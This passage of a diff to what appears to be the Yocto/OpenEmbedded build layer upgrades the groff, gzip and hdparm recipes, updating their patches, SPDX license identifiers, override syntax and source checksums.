- /* Do not reclaim the symbols of the rule whose action triggered
- this YYERROR. */
-@@ -2109,6 +2123,7 @@ yyacceptlab:
- yyresult = 0;
- goto yyreturn;
-
-+
- /*-----------------------------------.
- | yyabortlab -- YYABORT comes here. |
- `-----------------------------------*/
-@@ -2116,6 +2131,7 @@ yyabortlab:
- yyresult = 1;
- goto yyreturn;
-
-+
- #if !defined yyoverflow || YYERROR_VERBOSE
- /*-------------------------------------------------.
- | yyexhaustedlab -- memory exhaustion comes here. |
-@@ -2126,6 +2142,10 @@ yyexhaustedlab:
- /* Fall through. */
- #endif
-
-+
-+/*-----------------------------------------------------.
-+| yyreturn -- parsing is finished, return the result. |
-+`-----------------------------------------------------*/
- yyreturn:
- if (yychar != YYEMPTY)
- {
-@@ -2155,5 +2175,5 @@ yyreturn:
- #endif
- return yyresult;
- }
--#line 329 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1903 */
-+#line 333 "src/preproc/eqn/eqn.ypp"
-
-diff --git a/src/preproc/eqn/eqn.hpp b/src/preproc/eqn/eqn.hpp
-index 32a32a5..9a092c1 100644
---- a/src/preproc/eqn/eqn.hpp
-+++ b/src/preproc/eqn/eqn.hpp
-@@ -1,8 +1,9 @@
--/* A Bison parser, made by GNU Bison 3.2. */
-+/* A Bison parser, made by GNU Bison 3.4.1. */
-
- /* Bison interface for Yacc-like parsers in C
-
-- Copyright (C) 1984, 1989-1990, 2000-2015, 2018 Free Software Foundation, Inc.
-+ Copyright (C) 1984, 1989-1990, 2000-2015, 2018-2019 Free Software Foundation,
-+ Inc.
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
-@@ -170,10 +171,9 @@ extern int yydebug;
-
- /* Value type. */
- #if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED
--
- union YYSTYPE
- {
--#line 30 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1906 */
-+#line 34 "src/preproc/eqn/eqn.ypp"
-
- char *str;
- box *b;
-@@ -182,9 +182,9 @@ union YYSTYPE
- int n;
- column *col;
-
--#line 186 "src/preproc/eqn/eqn.hpp" /* yacc.c:1906 */
--};
-+#line 186 "src/preproc/eqn/eqn.hpp"
-
-+};
- typedef union YYSTYPE YYSTYPE;
- # define YYSTYPE_IS_TRIVIAL 1
- # define YYSTYPE_IS_DECLARED 1
-diff --git a/src/preproc/eqn/eqn.ypp b/src/preproc/eqn/eqn.ypp
-index fb318c3..b7b647e 100644
---- a/src/preproc/eqn/eqn.ypp
-+++ b/src/preproc/eqn/eqn.ypp
-@@ -16,6 +16,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
- %{
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
-diff --git a/src/preproc/eqn/other.cpp b/src/preproc/eqn/other.cpp
-index 8db993f..38db396 100644
---- a/src/preproc/eqn/other.cpp
-+++ b/src/preproc/eqn/other.cpp
-@@ -17,6 +17,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <stdlib.h>
-
- #include "eqn.h"
-diff --git a/src/preproc/eqn/text.cpp b/src/preproc/eqn/text.cpp
-index f3d06f9..3b244d5 100644
---- a/src/preproc/eqn/text.cpp
-+++ b/src/preproc/eqn/text.cpp
-@@ -17,6 +17,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <ctype.h>
- #include <stdlib.h>
- #include "eqn.h"
-diff --git a/src/preproc/pic/object.cpp b/src/preproc/pic/object.cpp
-index d8ba610..f26a831 100644
---- a/src/preproc/pic/object.cpp
-+++ b/src/preproc/pic/object.cpp
-@@ -17,6 +17,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <stdlib.h>
-
- #include "pic.h"
---
-2.22.0
-
diff --git a/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch b/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch
index 9105da6457..6dc84c9062 100644
--- a/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch
+++ b/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch
@@ -1,27 +1,25 @@
-From e738f9185ba90f2083c846ade3551234bb5a7cbc Mon Sep 17 00:00:00 2001
+From aa1f37f1e0ff0dc0eeb199b52959e0deb275721e Mon Sep 17 00:00:00 2001
From: Jeremy Puhlman <jpuhlman@mvista.com>
Date: Sat, 7 Mar 2020 00:59:13 +0000
Subject: [PATCH] Make manpages mulitlib identical
-Upstream-Status: Pending
+Upstream-Status: Submitted [by email to g.branden.robinson@gmail.com]
Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
+
---
Makefile.am | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/Makefile.am b/Makefile.am
-index d18c49b..6175fe9 100644
+index f7ab410..7e1f3fb 100644
--- a/Makefile.am
+++ b/Makefile.am
-@@ -917,7 +917,7 @@ SUFFIXES += .man
- -e "s|[@]MDATE[@]|`$(PERL) $(top_srcdir)/mdate.pl $<`|g" \
- -e "s|[@]OLDFONTDIR[@]|`echo $(oldfontdir) | sed -f $(makevarescape)`|g" \
+@@ -891,7 +891,7 @@ SUFFIXES += .man
+ -e "s|[@]PAGE[@]|\\\\%$(PAGE)|g" \
-e "s|[@]PDFDOCDIR[@]|`echo $(pdfdocdir) | sed -f $(makevarescape)`|g" \
+ -e "s|[@]PSPRINT[@]|`echo $(PSPRINT) | sed -f $(makevarescape)`|g" \
- -e "s|[@]SYSTEMMACRODIR[@]|`echo $(systemtmacdir) | sed -f $(makevarescape)`|g" \
+ -e "s|[@]SYSTEMMACRODIR[@]|`echo $(systemtmacdir) | sed -e 's,$(libdir),$(prefix)/lib*,' | sed -f $(makevarescape)`|g" \
- -e "s|[@]TMAC_AN_PREFIX[@]|$(tmac_an_prefix)|g" \
- -e "s|[@]TMAC_M_PREFIX[@]|$(tmac_m_prefix)|g" \
- -e "s|[@]TMAC_MDIR[@]|$(tmacdir)/mm|g" \
---
-2.23.0
-
+ -e "s|[@]TMAC_AN_PREFIX[@]|\\\\%$(tmac_an_prefix)|g" \
+ -e "s|[@]TMAC_M_PREFIX[@]|\\\\%$(tmac_m_prefix)|g" \
+ -e "s|[@]TMAC_MDIR[@]|`echo $(tmacdir) | sed -f $(makevarescape)`/mm|g" \
diff --git a/meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch b/meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch
new file mode 100644
index 0000000000..eae5dc9998
--- /dev/null
+++ b/meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch
@@ -0,0 +1,51 @@
+From c75965053124149381ada3c394da74be078076cf Mon Sep 17 00:00:00 2001
+From: "G. Branden Robinson" <g.branden.robinson@gmail.com>
+Date: Sat, 16 Sep 2023 16:28:00 -0500
+Subject: [PATCH] [build]: Fix Savannah #64681 (webpage.ps deps).
+
+* doc/doc.am (doc/webpage.ps, doc/webpage.html): Update and parallelize
+ target dependencies. Resolve race by requiring "grn" and "soelim" to
+ be built first. Also add dependency on `$(TMAC_PACKAGE_MS)`.
+
+Fixes <https://savannah.gnu.org/bugs/?64681>. Thanks to Alexander
+Kanavin for the report.
+
+ANNOUNCE: Acknowledge Alexander.
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ doc/doc.am | 12 ++++++++----
+ 1 file changed, 8 insertions(+), 4 deletions(-)
+
+diff --git a/doc/doc.am b/doc/doc.am
+index cddc51907..d3c9ab6b7 100644
+--- a/doc/doc.am
++++ b/doc/doc.am
+@@ -346,6 +346,9 @@ doc/pic.ps: $(doc_srcdir)/pic.ms eqn pic tbl
+ $(GROFF_V)$(MKDIR_P) `dirname $@` \
+ && $(DOC_GROFF) -pet -Tps -ms $(doc_srcdir)/pic.ms >$@
+
++# groff(1)'s `-I` implies `-g` and `-s`, so we must depend on grn and
++# soelim even though the document doesn't require them.
++doc/webpage.ps: grn soelim
+ doc/webpage.ps: $(DOC_GNU_EPS) tmac/www.tmac tbl
+ doc/webpage.ps: $(doc_srcdir)/webpage.ms
+ $(GROFF_V)$(MKDIR_P) `dirname $@` \
+@@ -365,11 +368,12 @@ doc/pic.html: $(doc_srcdir)/pic.ms
+ && $(DOC_GROFF) -pet -P-Ipic -P-Dimg -P-jpic -Thtml -ms \
+ $(doc_srcdir)/pic.ms > pic.html
+
+-doc/webpage.html: tbl
+-doc/webpage.html: tmac/www.tmac
+-doc/webpage.html: $(DOC_GNU_EPS)
++# groff(1)'s `-I` implies `-g` and `-s`, so we must depend on grn and
++# soelim even though the document doesn't require them.
++doc/webpage.html: grn soelim
++doc/webpage.html: $(DOC_GNU_EPS) tmac/www.tmac tbl
+ doc/webpage.html: $(doc_srcdir)/groff.css
+-doc/webpage.html: $(doc_srcdir)/webpage.ms
++doc/webpage.html: $(doc_srcdir)/webpage.ms $(TMAC_PACKAGE_MS)
+ $(GROFF_V)$(MKDIR_P) $(doc_builddir) \
+ && cd $(doc_builddir) \
+ && $(DOC_GROFF) -t -I $(doc_srcdir) -P-jwebpage -P-nrb \
diff --git a/meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch b/meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch
new file mode 100644
index 0000000000..3e81b86ac8
--- /dev/null
+++ b/meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch
@@ -0,0 +1,31 @@
+From f21e9f13beb57a1e0666edf9693d7c83f2189897 Mon Sep 17 00:00:00 2001
+From: "G. Branden Robinson" <g.branden.robinson@gmail.com>
+Date: Fri, 22 Sep 2023 01:27:57 -0500
+Subject: [PATCH] [build]: meintro_fr.ps depends on tbl.
+
+* doc/doc.am (doc/meintro_fr.ps): Depend on tbl, resolving race in
+ sufficiently parallelized builds. Overlooked in commit 92349ae223,
+ 2022-05-30.
+
+Fixes <https://savannah.gnu.org/bugs/?64695>. Thanks to Alexander
+Kanavin for the report.
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ doc/doc.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/doc/doc.am b/doc/doc.am
+index d3c9ab6b7..0f95c7774 100644
+--- a/doc/doc.am
++++ b/doc/doc.am
+@@ -334,7 +334,7 @@ SUFFIXES += .me.in .me
+
+ # Use '-K utf8', not '-k', in case 'configure' didn't find uchardet.
+ # The French translation uses tbl; its English counterpart does not.
+-doc/meintro_fr.ps: doc/meintro_fr.me preconv
++doc/meintro_fr.ps: doc/meintro_fr.me preconv tbl
+ $(GROFF_V)$(MKDIR_P) `dirname $@` \
+ && $(DOC_GROFF) -K utf8 -t -Tps -me -mfr $< >$@
+
diff --git a/meta/recipes-extended/groff/files/0001-replace-perl-w-with-use-warnings.patch b/meta/recipes-extended/groff/files/0001-replace-perl-w-with-use-warnings.patch
deleted file mode 100644
index eda6a40f51..0000000000
--- a/meta/recipes-extended/groff/files/0001-replace-perl-w-with-use-warnings.patch
+++ /dev/null
@@ -1,106 +0,0 @@
-From 6821a23e6cf34df37c351b45be413a8da9115f9f Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Sat, 11 May 2019 17:03:03 +0800
-Subject: [PATCH 1/2] replace "perl -w" with "use warnings"
-
-The shebang's max length is usually 128 as defined in
-/usr/include/linux/binfmts.h:
- #define BINPRM_BUF_SIZE 128
-
-There would be errors when @PERL@ is longer than 128, use
-'/usr/bin/env perl' can fix the problem, but '/usr/bin/env perl -w'
-doesn't work:
-
-/usr/bin/env: perl -w: No such file or directory
-
-So replace "perl -w" with "use warnings" to make it work.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
-Rebase to 1.22.4.
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- font/devpdf/util/BuildFoundries.pl | 3 ++-
- src/devices/gropdf/gropdf.pl | 3 ++-
- src/devices/gropdf/pdfmom.pl | 3 ++-
- src/utils/afmtodit/afmtodit.pl | 3 ++-
- 4 files changed, 8 insertions(+), 4 deletions(-)
-
-diff --git a/font/devpdf/util/BuildFoundries.pl b/font/devpdf/util/BuildFoundries.pl
-index f8af826..9584e28 100644
---- a/font/devpdf/util/BuildFoundries.pl
-+++ b/font/devpdf/util/BuildFoundries.pl
-@@ -1,4 +1,4 @@
--#!/usr/bin/perl -w
-+#!/usr/bin/perl
- #
- # BuildFoundries : Given a Foundry file generate groff and download files
- # Deri James : Monday 07 Feb 2011
-@@ -22,6 +22,7 @@
- # along with this program. If not, see <http://www.gnu.org/licenses/>.
-
- use strict;
-+use warnings;
-
- (my $progname = $0) =~s @.*/@@;
- my $where=shift||'';
-diff --git a/src/devices/gropdf/gropdf.pl b/src/devices/gropdf/gropdf.pl
-index 2ec52d0..ce5a06f 100644
---- a/src/devices/gropdf/gropdf.pl
-+++ b/src/devices/gropdf/gropdf.pl
-@@ -1,4 +1,4 @@
--#!@PERL@ -w
-+#!@PERL@
- #
- # gropdf : PDF post processor for groff
- #
-@@ -21,6 +21,7 @@
- # along with this program. If not, see <http://www.gnu.org/licenses/>.
-
- use strict;
-+use warnings;
- use Getopt::Long qw(:config bundling);
-
- use constant
-diff --git a/src/devices/gropdf/pdfmom.pl b/src/devices/gropdf/pdfmom.pl
-index c9b08b2..61124f3 100644
---- a/src/devices/gropdf/pdfmom.pl
-+++ b/src/devices/gropdf/pdfmom.pl
-@@ -1,4 +1,4 @@
--#!@PERL@ -w
-+#!@PERL@
- #
- # pdfmom : Frontend to run groff -mom to produce PDFs
- # Deri James : Friday 16 Mar 2012
-@@ -23,6 +23,7 @@
- # along with this program. If not, see <http://www.gnu.org/licenses/>.
-
- use strict;
-+use warnings;
- use File::Temp qw/tempfile/;
- my @cmd;
- my $dev='pdf';
-diff --git a/src/utils/afmtodit/afmtodit.pl b/src/utils/afmtodit/afmtodit.pl
-index 954c58e..81a6c97 100644
---- a/src/utils/afmtodit/afmtodit.pl
-+++ b/src/utils/afmtodit/afmtodit.pl
-@@ -1,4 +1,4 @@
--#! /usr/bin/perl -w
-+#! /usr/bin/perl
- # -*- Perl -*-
- # Copyright (C) 1989-2018 Free Software Foundation, Inc.
- # Written by James Clark (jjc@jclark.com)
-@@ -19,6 +19,7 @@
- # along with this program. If not, see <http://www.gnu.org/licenses/>.
-
- use strict;
-+use warnings;
-
- @afmtodit.tables@
-
---
-2.7.4
-
diff --git a/meta/recipes-extended/groff/files/0001-support-musl.patch b/meta/recipes-extended/groff/files/0001-support-musl.patch
deleted file mode 100644
index a837b11b1b..0000000000
--- a/meta/recipes-extended/groff/files/0001-support-musl.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From 695965c27be74acb5968f19d51af86065c4b71a9 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Mon, 13 May 2019 09:48:14 +0800
-Subject: [PATCH] support musl
-
-...
-|./lib/math.h:2877:1: error: 'int signbit(float)' conflicts with a previous declaration
-| _GL_MATH_CXX_REAL_FLOATING_DECL_2 (signbit)
-| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-|In file included from recipe-sysroot/usr/include/c++/8.3.0/math.h:36,
-| from ./lib/math.h:27,
-| from ./src/include/driver.h:27,
-| from src/devices/grodvi/dvi.cpp:20:
-|recipe-sysroot/usr/include/c++/8.3.0/cmath:661:3: note: previous declaration 'constexpr bool std::signbit(float)'
-| signbit(float __x)
-| ^~~~~~~
-...
-
-Upstream-Status: Backport [http://git.savannah.gnu.org/gitweb/?p=gnulib.git;a=commit;h=453ff940449bbbde9ec00f0bbf82a359c5598fc7]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- gnulib_m4/signbit.m4 | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/gnulib_m4/signbit.m4 b/gnulib_m4/signbit.m4
-index 9e7884d..8b9c70c 100644
---- a/gnulib_m4/signbit.m4
-+++ b/gnulib_m4/signbit.m4
-@@ -31,6 +31,8 @@ AC_DEFUN([gl_SIGNBIT],
- [case "$host_os" in
- # Guess yes on glibc systems.
- *-gnu* | gnu*) gl_cv_func_signbit="guessing yes" ;;
-+ # Guess yes on musl systems.
-+ *-musl*) gl_cv_func_signbit="guessing yes" ;;
- # Guess yes on native Windows.
- mingw*) gl_cv_func_signbit="guessing yes" ;;
- # If we don't know, assume the worst.
---
-2.7.4
-
diff --git a/meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch b/meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch
index c80a2a5c38..23992576f9 100644
--- a/meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch
+++ b/meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch
@@ -1,7 +1,7 @@
-From 75761ae7adc88412de4379d1cf5484b055cd5f18 Mon Sep 17 00:00:00 2001
+From eb16276c3e2e34aa2e57f6a0e68554657b90cd28 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Sat, 11 May 2019 17:06:29 +0800
-Subject: [PATCH 2/2] groff searchs fonts which are provided by ghostscript on
+Subject: [PATCH] groff searchs fonts which are provided by ghostscript on
build host. It causes non-determinism issue. So not search font dirs on host.
Upstream-Status: Inappropriate [cross build specific]
@@ -10,23 +10,30 @@ Signed-off-by: Kai Kang <kai.kang@windriver.com>
Rebase to 1.22.4
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
- font/devpdf/Foundry.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
+ font/devpdf/Foundry.in | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/font/devpdf/Foundry.in b/font/devpdf/Foundry.in
-index 93e9b66..235b23b 100644
+index e5aba65..5441734 100644
--- a/font/devpdf/Foundry.in
+++ b/font/devpdf/Foundry.in
-@@ -65,7 +65,7 @@ ZD|Y||||Dingbats!d050000l.pfb
- #======================================================================
+@@ -20,7 +20,7 @@
- #Foundry|Name|Searchpath
--foundry|U|(gs):@urwfontsdir@ :/usr/share/fonts/type1/gsfonts :/opt/local/share/fonts/urw-fonts # the URW fonts delivered with ghostscript (may be different)
-+foundry|U|(gs) # the URW fonts delivered with ghostscript (may be different)
- #Define Flags for afmtodit
+ #=======================================================================
+ #Foundry|Name|Search path
+-foundry||@urwfontsdir@:(gs):/usr/share/fonts/type1/gsfonts:/usr/share/fonts/default/Type1:/usr/share/fonts/default/Type1/adobestd35:/usr/share/fonts/type1/urw-base35:/opt/local/share/fonts/urw-fonts:/usr/local/share/fonts/ghostscript
++foundry||(gs)
+
+ # Enable the font description files for grops (generated from Adobe
+ # foundry font files) to be used with gropdf. afmtodit must not be
+@@ -72,7 +72,7 @@ EURO|N||||*../devps/freeeuro.pfa
+ # URW fonts are typically shipped with Ghostscript, but can be replaced.
+
+ #Foundry|Name|Search path
+-foundry|U|@urwfontsdir@:/usr/share/fonts/type1/gsfonts:/usr/share/fonts/default/Type1:/usr/share/fonts/default/Type1/adobestd35:/usr/share/fonts/type1/urw-base35:/opt/local/share/fonts/urw-fonts:/usr/local/share/fonts/ghostscript:(gs)
++foundry|U|(gs)
+
+ # Define flags for afmtodit.
- r=-i 0 -m
---
-2.7.4
-
diff --git a/meta/recipes-extended/groff/groff_1.22.4.bb b/meta/recipes-extended/groff/groff_1.23.0.bb
index e398478349..0fc4f831d8 100644
--- a/meta/recipes-extended/groff/groff_1.22.4.bb
+++ b/meta/recipes-extended/groff/groff_1.23.0.bb
@@ -3,34 +3,39 @@ DESCRIPTION = "The groff (GNU troff) software is a typesetting package which rea
formatting commands and produces formatted output."
SECTION = "base"
HOMEPAGE = "http://www.gnu.org/software/groff/"
-LICENSE = "GPLv3"
+LICENSE = "GPL-3.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
SRC_URI = "${GNU_MIRROR}/groff/groff-${PV}.tar.gz \
- file://0001-replace-perl-w-with-use-warnings.patch \
- file://groff-not-search-fonts-on-build-host.patch \
- file://0001-support-musl.patch \
- file://0001-Include-config.h.patch \
- file://0001-Make-manpages-mulitlib-identical.patch \
-"
+ file://groff-not-search-fonts-on-build-host.patch \
+ file://0001-Make-manpages-mulitlib-identical.patch \
+ file://0001-build-Fix-Savannah-64681-webpage.ps-deps.patch \
+ file://0001-build-meintro_fr.ps-depends-on-tbl.patch \
+ "
-SRC_URI[md5sum] = "08fb04335e2f5e73f23ea4c3adbf0c5f"
-SRC_URI[sha256sum] = "e78e7b4cb7dec310849004fa88847c44701e8d133b5d4c13057d876c1bad0293"
+SRC_URI[sha256sum] = "6b9757f592b7518b4902eb6af7e54570bdccba37a871fddb2d30ae3863511c13"
-DEPENDS = "bison-native"
-RDEPENDS_${PN} += "perl sed"
+DEPENDS = "bison-native groff-native"
+RDEPENDS:${PN} += "perl sed"
inherit autotools-brokensep texinfo multilib_script pkgconfig
-MULTILIB_SCRIPTS = "${PN}:${bindir}/gpinyin ${PN}:${bindir}/groffer ${PN}:${bindir}/grog"
+MULTILIB_SCRIPTS = "${PN}:${bindir}/gpinyin ${PN}:${bindir}/grog"
-EXTRA_OECONF = "--without-x --without-doc"
-PARALLEL_MAKE = ""
+EXTRA_OECONF = "--without-x --with-urw-fonts-dir=/completely/bogus/dir/"
+EXTRA_OEMAKE:class-target = "GROFFBIN=groff GROFF_BIN_PATH=${STAGING_BINDIR_NATIVE}"
-CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl' ac_cv_path_BASH_PROG='no'"
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl' ac_cv_path_BASH_PROG='no' PAGE=A4"
-do_install_append() {
+# Delete these generated files since we depend on bison-native
+# and regenerate them. Do it deterministically (always).
+do_configure:prepend() {
+ rm -f ${S}/src/preproc/eqn/eqn.cpp
+ rm -f ${S}/src/preproc/eqn/eqn.hpp
+}
+
+do_install:append() {
# Some distros have both /bin/perl and /usr/bin/perl, but we set perl location
# for target as /usr/bin/perl, so fix it to /usr/bin/perl.
for i in afmtodit mmroff gropdf pdfmom grog; do
@@ -52,15 +57,22 @@ do_install_append() {
rm -rf ${D}${bindir}/glilypond
rm -rf ${D}${libdir}/groff/glilypond
rm -rf ${D}${mandir}/man1/glilypond*
+
+ # not ship /usr/bin/grap2graph and its releated man files
+ rm -rf ${D}${bindir}/grap2graph
+ rm -rf ${D}${mandir}/man1/grap2graph*
+
+ # strip hosttool path out of generated files
+ sed -i -e 's:${HOSTTOOLS_DIR}/::g' ${D}${docdir}/${BP}/examples/hdtbl/*.roff
}
-do_install_append_class-native() {
+do_install:append:class-native() {
create_cmdline_wrapper ${D}/${bindir}/groff \
-F${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/font \
-M${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/tmac
}
-FILES_${PN} += "${libdir}/${BPN}/site-tmac \
+FILES:${PN} += "${libdir}/${BPN}/site-tmac \
${libdir}/${BPN}/groffer/"
BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/gzip/gzip-1.10/wrong-path-fix.patch b/meta/recipes-extended/gzip/gzip-1.13/wrong-path-fix.patch
index 7c37bc8d2d..7f9e249de8 100644
--- a/meta/recipes-extended/gzip/gzip-1.10/wrong-path-fix.patch
+++ b/meta/recipes-extended/gzip/gzip-1.13/wrong-path-fix.patch
@@ -18,19 +18,19 @@ Upstream-Status: Pending
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/Makefile.am b/Makefile.am
-index d4ecc3f..e4657d2 100644
+index 4f51b61..80a5ddf 100644
--- a/Makefile.am
+++ b/Makefile.am
-@@ -82,8 +82,7 @@ SUFFIXES = .in
+@@ -93,8 +93,7 @@ SUFFIXES = .in
.in:
$(AM_V_GEN)rm -f $@-t $@ \
- && sed \
+ && sed \
- -e 's|/bin/sh|$(SHELL)|g' \
- -e 's|[@]GREP@|$(GREP)|g' \
+ -e 's|[@]GREP@|$(base_bindir)/grep|g' \
- -e 's|[@]VERSION@|$(VERSION)|g' \
- $(srcdir)/$@.in >$@-t \
- && chmod a=rx $@-t \
---
+ -e "s|'gzip'|$(GZIP_TRANSFORMED)|g" \
+ -e "s|'zdiff'|$(ZDIFF_TRANSFORMED)|g" \
+ -e "s|'zgrep'|$(ZGREP_TRANSFORMED)|g" \
+--
2.7.4
diff --git a/meta/recipes-extended/gzip/gzip.inc b/meta/recipes-extended/gzip/gzip.inc
index 04f8f95dd5..62b3e2f4f9 100644
--- a/meta/recipes-extended/gzip/gzip.inc
+++ b/meta/recipes-extended/gzip/gzip.inc
@@ -3,15 +3,15 @@ DESCRIPTION = "GNU Gzip is a popular data compression program originally written
project. Mark Adler wrote the decompression part"
HOMEPAGE = "http://www.gnu.org/software/gzip/"
SECTION = "console/utils"
-# change to GPLv3+ in 2007/07. Previous GPLv2 version is 1.3.12
inherit autotools texinfo
export DEFS="NO_ASM"
-EXTRA_OEMAKE_class-target = "GREP=${base_bindir}/grep"
-EXTRA_OECONF_append_libc-musl = " gl_cv_func_fflush_stdin=yes "
+EXTRA_OEMAKE:class-target = "GREP=${base_bindir}/grep"
+EXTRA_OEMAKE:append:class-nativesdk = " GREP=grep"
+EXTRA_OECONF:append:libc-musl = " gl_cv_func_fflush_stdin=yes "
-do_install_append () {
+do_install:append () {
if [ "${base_bindir}" != "${bindir}" ]; then
# Rename and move files into /bin (FHS), which is typical place for gzip
install -d ${D}${base_bindir}
@@ -25,7 +25,7 @@ do_install_append () {
inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "gunzip gzip zcat"
+ALTERNATIVE:${PN} = "gunzip gzip zcat"
ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip"
ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip"
ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat"
diff --git a/meta/recipes-extended/gzip/gzip_1.10.bb b/meta/recipes-extended/gzip/gzip_1.13.bb
index 9778e687e1..fd846b30a5 100644
--- a/meta/recipes-extended/gzip/gzip_1.10.bb
+++ b/meta/recipes-extended/gzip/gzip_1.13.bb
@@ -1,18 +1,20 @@
require gzip.inc
-LICENSE = "GPLv3+"
+# change to GPL-3.0-or-later in 2007/07. Previous GPL-2.0-or-later version is
+# 1.3.12
+LICENSE = "GPL-3.0-or-later"
SRC_URI = "${GNU_MIRROR}/gzip/${BP}.tar.gz \
file://run-ptest \
- "
-SRC_URI_append_class-target = " file://wrong-path-fix.patch"
+ "
+SRC_URI:append:class-target = " file://wrong-path-fix.patch"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
file://gzip.h;beginline=8;endline=20;md5=6e47caaa630e0c8bf9f1bc8d94a8ed0e"
-PROVIDES_append_class-native = " gzip-replacement-native"
+PROVIDES:append:class-native = " gzip-replacement-native"
-RDEPENDS_${PN}-ptest += "make perl grep diffutils"
+RDEPENDS:${PN}-ptest += "make perl grep diffutils"
BBCLASSEXTEND = "native nativesdk"
@@ -36,5 +38,4 @@ do_install_ptest() {
${B}/tests/Makefile > ${D}${PTEST_PATH}/src/tests/Makefile
}
-SRC_URI[md5sum] = "cf9ee51aff167ff69844d5d7d71c8b20"
-SRC_URI[sha256sum] = "c91f74430bf7bc20402e1f657d0b252cb80aa66ba333a25704512af346633c68"
+SRC_URI[sha256sum] = "20fc818aeebae87cdbf209d35141ad9d3cf312b35a5e6be61bfcfbf9eddd212a"
diff --git a/meta/recipes-extended/hdparm/hdparm_9.58.bb b/meta/recipes-extended/hdparm/hdparm_9.65.bb
index e47dedae89..d5e6ab6065 100644
--- a/meta/recipes-extended/hdparm/hdparm_9.58.bb
+++ b/meta/recipes-extended/hdparm/hdparm_9.65.bb
@@ -4,10 +4,11 @@ DESCRIPTION = "hdparm is a Linux shell utility for viewing \
and manipulating various IDE drive and driver parameters."
SECTION = "console/utils"
-LICENSE = "BSD & GPLv2"
-LICENSE_${PN} = "BSD"
-LICENSE_${PN}-dbg = "BSD"
-LICENSE_wiper = "GPLv2"
+LICENSE = "BSD-2-Clause & GPL-2.0-only & hdparm"
+LICENSE:${PN} = "BSD-2-Clause & hdparm"
+LICENSE:${PN}-dbg = "BSD-2-Clause & hdparm"
+LICENSE:wiper = "GPL-2.0-only"
+NO_GENERIC_LICENSE[hdparm] = "LICENSE.TXT"
LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=495d03e50dc6c89d6a30107ab0df5b03 \
file://debian/copyright;md5=a82d7ba3ade9e8ec902749db98c592f3 \
@@ -17,22 +18,21 @@ LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=495d03e50dc6c89d6a30107ab0df5b03 \
PACKAGES =+ "wiper"
-FILES_wiper = "${bindir}/wiper.sh"
+FILES:wiper = "${bindir}/wiper.sh"
